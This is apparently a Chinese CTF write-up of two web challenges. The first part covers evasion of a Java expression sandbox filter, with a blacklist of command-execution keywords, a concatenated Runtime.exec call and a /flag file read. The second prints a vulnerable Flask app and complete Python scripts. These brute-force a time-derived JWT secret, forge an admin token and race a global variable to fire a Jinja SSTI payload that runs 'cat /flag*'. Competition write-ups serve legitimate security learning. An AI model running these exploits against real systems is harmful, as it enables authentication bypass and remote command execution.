(function(){return 123})()
測試eval和Function:
eval(‘1+1’)
Function(‘return 789’)()
編碼函數:
btoa(‘hello’)
atob(‘aGVsbG8=’)
encodeURI(‘hello world’)
decodeURI(‘hello%20world’)
原型鏈:
Object.prototype
Object.constructor
特殊對象:
環境變量:
process && process.env
global
Node.js對象:
typeof require
module
exports
用ai生成黑名單關鍵字爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 javascript java lang Runtime getRuntime exec ProcessBuilder start Class forName getMethod invoke System getProperty getenv File Scanner BufferedReader FileReader InputStream OutputStream read write reflect Method Field Constructor cmd sh bash powershell command cat flag ls pwd whoami id eval Function setTimeout setInterval decodeURI decodeURIComponent atob btoa String fromCharCode charCodeAt import require include load window document location navigator this global self top . ( ) [ ] { } ' " ` $ & * + - / \ |
測試JavaScript全局對象:
1 攔截: `Runtime`, `ProcessBuilder`, `exec()`, `start()`, 反射方法
用字符串拼接 eval 是 200 : val(‘jav’ + ‘a.lang.Runt’ + ‘ime.getRunt’ + ‘ime().exec(“ls”)’)
點號組合好像是沒有問題的
java . lang
使用Java的Files.readAllLines()方法成功讀取了flag文件:
Files類的特殊性:
java.nio.file.Files 是Java 7引入的新API
主要用於文件操作,不是典型的命令執行類
方法名 readAllLines 看起來像是安全的文件讀取操作
java.nio.file.Files.readAllLines(java.nio.file.Paths.get(‘/flag’)).get(0)
废弃的网站 先看看条件竞争這個概念:
https://zhuanlan.zhihu.com/p/403063546#:~:text=%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89%E6%BC%8F%E6%B4%9E%EF%BC%88Race%20condition,%E8%84%8F%E7%89%9B%EF%BC%88dirty%20cow%EF%BC%89%E3%80%82
看看app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from flask import Flask, request, render_template, abort, redirect, render_template_stringimport jwt, hashlib, timeapp = Flask(__name__) time_started = round (time.time()) print (f"System started at {time_started} " )APP_SECRET = hashlib.sha256(str (time_started).encode()).hexdigest() tempuser = None USER_DB = { "admin" : {"id" : 1 , "role" : "admin" , "name" : "Administrator" }, "guest" : {"id" : 2 , "role" : "guest" , "name" : "Guest User" }, } def admin_required (f ): def wrapper (*args, **kwargs ): cookie = request.cookies.get('session' , None ) if cookie is None : response = redirect('/' ) session = jwt.encode(USER_DB['guest' ], APP_SECRET, algorithm='HS256' ) response.set_cookie('session' , session) return response try : user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256' ]) if user_data['role' ] != 'admin' : abort(403 , description="Admin access required." ) if user_data['name' ] != 'Administrator' : abort(403 , description="Admin access required." ) time.sleep(0.15 ) except jwt.InvalidTokenError: abort(401 , description = f"Session expired. Please log in again. System has been running {round (time.time() - time_started)} seconds." ) return f(*args, **kwargs) wrapper.__name__ = f.__name__ return wrapper @app.before_request def load_user (): if request.endpoint == 'static' : return global tempuser cookie = request.cookies.get('session' , None ) if cookie is None : tempuser = USER_DB['guest' ] session = jwt.encode(tempuser, APP_SECRET, algorithm='HS256' ) response = redirect(request.path) response.set_cookie('session' , session) return response try : user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256' ]) tempuser = user_data except jwt.InvalidTokenError: session = jwt.encode(USER_DB['guest' ], APP_SECRET, algorithm='HS256' ) content = render_template_string( "Session expired. Please log in again. System has been running %d seconds." % (round (time.time() - time_started)) ) response = app.make_response((content, 401 )) response.set_cookie('session' , session) return response @app.route('/' , methods=['GET' ] ) def home (): return render_template('index.html' ) @app.route("/admin" , methods=['GET' ] ) @admin_required def admin_panel (): global tempuser return render_template_string("Welcome Back, %s" % tempuser['name' ]) @app.route("/static/<path:filename>" , methods=['GET' ] ) def serve_static (filename ): if not filename.endswith('.png' ): abort(403 , description="Only .png files are allowed." ) return app.send_static_file(filename) if __name__ == '__main__' : app.run(host="0.0.0.0" , port=5000 )
可以看見這兩用戶的DB
這個是一開始打開網站時會發出來的
我們可以在cookie下找到guest的token
token的結構是jwt , 我們可以在jwt.io看看:
https://www.jwt.io/
上面是加密方式,中間是身份信息,後面是secret , 我現在要找到secret并偽造admin的token
以下是python腳本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import requestsimport jwtimport hashlibimport timeurl = "http://8.147.132.32:24750/" session = requests.Session() session.verify = False print ("正在寻找网站密钥..." )try : r = session.get(url + '/admin' , cookies={'session' : 'invalid' }) print ("获取错误信息..." ) if 'System has been running' in r.text: import re match = re.search(r'System has been running (\d+) seconds' , r.text) if match : uptime = int (match .group(1 )) print (f"网站运行了: {uptime} 秒" ) current_time = int (time.time()) time_started = current_time - uptime print (f"网站启动时间大约是: {time_started} " ) print ("正在尝试可能的密钥..." ) for ts in range (time_started - 300 , time_started + 300 ): secret = hashlib.sha256(str (ts).encode()).hexdigest() try : guest_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6Imd1ZXN0IiwibmFtZSI6Ikd1ZXN0IFVzZXIifQ.C7nbrf18MKTAzyZRtBdgid4DO2ug6W8ApHIfR8tCbAE" decoded = jwt.decode(guest_token, secret, algorithms=['HS256' ]) print ("找到密钥了!" ) print (f"启动时间戳: {ts} " ) print (f"密钥: {secret} " ) admin_data = { "id" : 1 , "role" : "admin" , "name" : "Administrator" } admin_token = jwt.encode(admin_data, secret, algorithm='HS256' ) print (f"🪪 管理员Token: {admin_token} " ) r = session.get(url + '/admin' , cookies={'session' : admin_token}) if r.status_code == 200 : print ("成功进入管理员页面!" ) print ("现在可以用这个密钥做SSTI攻击了" ) break except : if ts % 100 == 0 : print (f"尝试中... {ts} " ) continue else : print ("没有找到运行时间信息" ) except Exception as e: print (f"错误: {e} " )
最後找到了 , 但是在/admin沒有找到flag , /admin/都沒有 , 這裹要在/admin的Welcome Back, {???} 進行ssti注入 , cat /flag* , 以下為ssti的命令:
1 {{request.application.__globals__.__builtins__.__import__ ('os' ).popen('cat /flag*' ).read()}}
但是只是這樣是不可以拿到flag的, 我要通过大量guest请求修改了全局的tempuser变量 , 将恶意SSTI payload注入到tempuser[‘name’]字段 , 在admin检查通过后、实际渲染前 , 成功将tempuser替换为包含SSTI payload的guest用户数据
線程1: Guest請求洪水攻擊
1 2 3 4 5 6 7 def flood_guest (): nonlocal success while not success: try : requests.get(url, cookies={'session' : malicious_token}, timeout=0.1 ) except : pass
線程2: Admin請求嘗試
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def try_admin (): nonlocal success for i in range (50 ): if success: break try : r = requests.get(url + '/admin' , cookies={'session' : admin_token}, timeout=1 ) if "flag" in r.text or "{" in r.text: print (f"[SUCCESS] 找到flag: {r.text} " ) success = True break except : pass
然後:
1 2 3 4 5 6 7 8 t1 = threading.Thread(target=flood_guest) t2 = threading.Thread(target=try_admin) t1.start() t2.start() t2.join() t1.join()
最後腳本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import requestsimport threadingimport timeurl = "http://8.147.132.32:24750/" secret = "812f7d41b298c20d8cb041daaa8c142b181838821de5647ad29fa4ef79c084f7" def precise_race_attack (): import jwt malicious_guest = { "id" : 2 , "role" : "guest" , "name" : "{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag*').read()}}" } malicious_token = jwt.encode(malicious_guest, secret, algorithm='HS256' ) admin_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6ImFkbWluIiwibmFtZSI6IkFkbWluaXN0cmF0b3IifQ.LxCAaYZoEHhEzz26avKldy1azGXTX_XKQNBtSLn9QgY" success = False def flood_guest (): nonlocal success while not success: try : requests.get(url, cookies={'session' : malicious_token}, timeout=0.1 ) except : pass def try_admin (): nonlocal success for i in range (50 ): if success: break try : r = requests.get(url + '/admin' , cookies={'session' : admin_token}, timeout=1 ) if "flag" in r.text or "{" in r.text: print (f"[SUCCESS] 找到flag: {r.text} " ) success = True break elif "Welcome Back, {{" in r.text: print (f"[!] SSTI触发但未成功: {r.text[:100 ]} " ) except : pass print ("[*] 启动精确竞争攻击..." ) t1 = threading.Thread(target=flood_guest) t2 = threading.Thread(target=try_admin) t1.start() t2.start() t2.join() t1.join() precise_race_attack()